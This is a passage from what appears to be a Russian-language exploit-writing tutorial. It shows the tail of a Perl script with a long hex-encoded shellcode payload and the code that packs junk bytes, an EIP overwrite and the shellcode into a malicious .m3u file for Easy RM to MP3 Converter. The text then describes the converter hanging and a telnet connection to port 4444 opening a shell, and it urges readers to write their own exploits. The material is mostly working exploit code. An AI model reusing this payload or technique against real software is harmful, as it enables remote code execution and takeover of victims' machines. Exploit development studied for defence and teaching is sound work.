"\x47\x43\x43\x47\x42\x51\x4f\x50\x54\x4b\x4f\x48\x50\x42" .
"\x48\x48\x4b\x4a\x4d\x4b\x4c\x47\x4b\x50\x50\x4b\x4f\x48" .
"\x56\x51\x4f\x4d\x59\x4d\x35\x45\x36\x4b\x31\x4a\x4d\x43" .
"\x38\x43\x32\x46\x35\x43\x5a\x44\x42\x4b\x4f\x4e\x30\x42" .
"\x48\x48\x59\x45\x59\x4c\x35\x4e\x4d\x50\x57\x4b\x4f\x48" .
"\x56\x46\x33\x46\x33\x46\x33\x50\x53\x50\x53\x50\x43\x51" .
"\x43\x51\x53\x46\x33\x4b\x4f\x4e\x30\x43\x56\x45\x38\x42" .
"\x31\x51\x4c\x42\x46\x46\x33\x4c\x49\x4d\x31\x4a\x35\x42" .
"\x48\x4e\x44\x44\x5a\x44\x30\x49\x57\x50\x57\x4b\x4f\x48" .
"\x56\x43\x5a\x44\x50\x50\x51\x51\x45\x4b\x4f\x4e\x30\x43" .
"\x58\x49\x34\x4e\x4d\x46\x4e\x4b\x59\x50\x57\x4b\x4f\x4e" .
"\x36\x50\x53\x46\x35\x4b\x4f\x4e\x30\x42\x48\x4d\x35\x50" .
"\x49\x4d\x56\x50\x49\x51\x47\x4b\x4f\x48\x56\x50\x50\x50" .
"\x54\x50\x54\x46\x35\x4b\x4f\x48\x50\x4a\x33\x45\x38\x4a" .
"\x47\x44\x39\x48\x46\x43\x49\x50\x57\x4b\x4f\x48\x56\x50" .
"\x55\x4b\x4f\x48\x50\x42\x46\x42\x4a\x42\x44\x45\x36\x45" .
"\x38\x45\x33\x42\x4d\x4d\x59\x4b\x55\x42\x4a\x46\x30\x50" .
"\x59\x47\x59\x48\x4c\x4b\x39\x4a\x47\x43\x5a\x50\x44\x4b" .
"\x39\x4b\x52\x46\x51\x49\x50\x4c\x33\x4e\x4a\x4b\x4e\x47" .
"\x32\x46\x4d\x4b\x4e\x51\x52\x46\x4c\x4d\x43\x4c\x4d\x42" .
"\x5a\x50\x38\x4e\x4b\x4e\x4b\x4e\x4b\x43\x58\x42\x52\x4b" .
"\x4e\x4e\x53\x42\x36\x4b\x4f\x43\x45\x51\x54\x4b\x4f\x49" .
"\x46\x51\x4b\x46\x37\x46\x32\x50\x51\x50\x51\x46\x31\x42" .
"\x4a\x45\x51\x46\x31\x46\x31\x51\x45\x50\x51\x4b\x4f\x48" .
"\x50\x43\x58\x4e\x4d\x4e\x39\x45\x55\x48\x4e\x51\x43\x4b" .
"\x4f\x49\x46\x43\x5a\x4b\x4f\x4b\x4f\x47\x47\x4b\x4f\x48" .
"\x50\x4c\x4b\x46\x37\x4b\x4c\x4c\x43\x49\x54\x45\x34\x4b" .
"\x4f\x4e\x36\x50\x52\x4b\x4f\x48\x50\x43\x58\x4c\x30\x4c" .
"\x4a\x44\x44\x51\x4f\x46\x33\x4b\x4f\x48\x56\x4b\x4f\x48" .
"\x50\x41\x41";
open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);
print "m3u File Created successfully\n";
Создаем .m3u-файл и запускаем в конвертере. Easy RM to MP3 зависает. Подключаемся через telnet к этому же хосту на порт 4444:
Есть контакт! =)
Теперь можете создавать свои собственные эксплойты. Не забудьте украшать их ASCII-артом, возьмите l33t-никнэйм, и отправляйте мне (corelanc0d3r) ваши приветы